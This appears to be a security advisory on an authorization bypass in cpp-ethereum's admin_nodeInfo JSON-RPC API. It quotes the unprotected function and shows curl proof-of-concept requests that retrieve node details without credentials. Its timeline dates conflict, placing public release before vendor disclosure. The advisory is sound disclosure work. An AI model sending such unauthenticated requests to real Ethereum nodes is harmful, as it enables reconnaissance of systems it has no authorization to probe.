### Summary

An exploitable improper authorization vulnerability exists in admin_nodeInfo API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass.
An attacker can send JSON to trigger this vulnerability.

### Tested Versions

Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768

### Product URLs

### CVSSv3 Score

4.0 – CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N

### CWE

CWE-285: Improper Authorization

### Details

CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is part of cpp-ethereum is a JSON-RPC server which exposes various APIs to manage client/node functionality. Improper authorization checks in the implementation of the `admin_nodeInfo` API allows a remote attacker without any credentials to triggers functionality reserved only for a user with administrator privileges. We can observe a similar approach in two other clients (lack of any kind of authorization) but in this case the situation is exacerbated by the fact that:

– By default interface is bound to 0.0.0.0, which means it’s exposed to the world
– The Content-Type set to ‘application/json’ during requests is not enforced, which means that even if eth JSON-RPC daemon is ran on machine behind a NAT
the JSON-RPC APIs can still be easily triggered by CSRF or SSRF attacks.
– older version of the same API had implemented an authorization check
– there is no visible option to change the default JSON-RPC interface to localhost

For comparison let us take geth (the go ethereum client) which also implements a JSON-RPC interface but using much better security practices: – by default the interface is bound to localhost – The “Content-Type” request header value must be set to ‘application/json’ – CORS settings are set to block by default all “cross-domain” requests

Let us take a look at `admin_nodeInfo` and describe in details improper/consistency check of authorization.

Line 55 Json::Value AdminNet::admin_nodeInfo()
Line 56 {
Line 57 Json::Value ret;
Line 58 p2p::NodeInfo i = m_network.nodeInfo();
Line 59 ret[“name”] = i.version;
Line 60 ret[“ports”] = Json::objectValue;
Line 61 // Both ports are equal as of 2016-02-04, migt change later
Line 62 ret[“ports”][“discovery”] = i.port;
Line 63 ret[“ports”][“listener”] = i.port;
Line 64 ret[“ip”] = i.address;
Line 65 ret[“listenAddr”] = i.address + “:” + toString(i.port);
Line 66 ret[“id”] = i.id.hex();
Line 67 ret[“enode”] = i.enode();
Line 68 ret[“protocols”] = Json::objectValue;
Line 69 ret[“protocols”][“eth”] = Json::objectValue; //@todo fill with information
Line 70 return ret;
Line 71 }
Line 72

As we can see there is no check for calling user privileges which is done in couple other APIs via `RPC_ADMIN` macro. Same functionality is exposed over `admin_net_nodeInfo` API where at the beginning of API body, privileges check is made:

Line 41 Json::Value AdminNet::admin_net_nodeInfo(std::string const& _session)
Line 42 {
Line 43 RPC_ADMIN;
Line 44 Json::Value ret;
Line 45 p2p::NodeInfo i = m_network.nodeInfo();
Line 46 ret[“name”] = i.version;
Line 47 ret[“port”] = i.port;
Line 48 ret[“address”] = i.address;
Line 49 ret[“listenAddr”] = i.address + “:” + toString(i.port);
Line 50 ret[“id”] = i.id.hex();
Line 51 ret[“enode”] = i.enode();
Line 52 return ret;
Line 53 }

We are aware that this client is not recommended for mining and that the mentioned functionality related with the administrator interface is turned off by default. However when enabled the default behavior is insecure and can allow a remote attacker to perform unauthenticated RPC requests.

### Crash Information

icewall@ubuntu:~/bugs/cpp-ethereum/build/eth$ ./eth -j –ipc –private 123 –no-discovery –datadir `pwd`/data –config config.json –admin-via-http
cpp-ethereum, a C++ Ethereum client
cpp-ethereum 1.3.0
By cpp-ethereum contributors, (c) 2013-2016.
See the README for contributors and credits.
Networking disabled. To start, use netstart or pass –bootstrap or a remote host.
JSONRPC Admin Session Key: Zt9zxSANHZs=
ℹ 03:09:10 AM.197|miner0 Loading full DAG of seedhash: #00000000…
ℹ 03:09:10 AM.978|miner0 Full DAG loaded

icewall@ubuntu:~/bugs/cpp-ethereum$ curl -X POST –data ‘{“jsonrpc”:”2.0″,”method”:”admin_nodeInfo”,”params”:[],”id”:1}’ localhost:8545
{“id”:1,”jsonrpc”:”2.0″,”result”:{“enode”:”enode://d5e35f06f262f06f407d99d88877e702dee066ce8067058087f4bafa52ce1f12002569a7c8ea02583da7fd9e532c88c847ff7d8a5cc148771221721fd224b517@0.0.0.0:0″,”id”:”d5e35f06f262f06f407d99d88877e702dee066ce8067058087f4bafa52ce1f12002569a7c8ea02583da7fd9e532c88c847ff7d8a5cc148771221721fd224b517″,”ip”:”0.0.0.0″,”listenAddr”:”0.0.0.0:0″,”name”:”eth/v1.3.0/Linux/g++/Interpreter/RelWithDebInfo/4e101574/”,”ports”:{“discovery”:0,”listener”:0},”protocols”:{“eth”:{}}}}
icewall@ubuntu:~/bugs/cpp-ethereum$ curl -X POST –data ‘{“jsonrpc”:”2.0″,”method”:”admin_nodeInfo”,”params”:[],”id”:1}’ localhost:8545 | python -m json.tool
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 558 100 496 100 62 98k 12668 –:–:– –:–:– –:–:– 121k
{
“id”: 1,
“jsonrpc”: “2.0”,
“result”: {
“enode”: “enode://d5e35f06f262f06f407d99d88877e702dee066ce8067058087f4bafa52ce1f12002569a7c8ea02583da7fd9e532c88c847ff7d8a5cc148771221721fd224b517@0.0.0.0:0”,
“id”: “d5e35f06f262f06f407d99d88877e702dee066ce8067058087f4bafa52ce1f12002569a7c8ea02583da7fd9e532c88c847ff7d8a5cc148771221721fd224b517”,
“ip”: “0.0.0.0”,
“listenAddr”: “0.0.0.0:0”,
“name”: “eth/v1.3.0/Linux/g++/Interpreter/RelWithDebInfo/4e101574/”,
“ports”: {
“discovery”: 0,
“listener”: 0
},
“protocols”: {
“eth”: {}
}
}
}

### Timeline

2017-12-06 – Vendor Disclosure
2017-01-09 – Public ReleaseRead More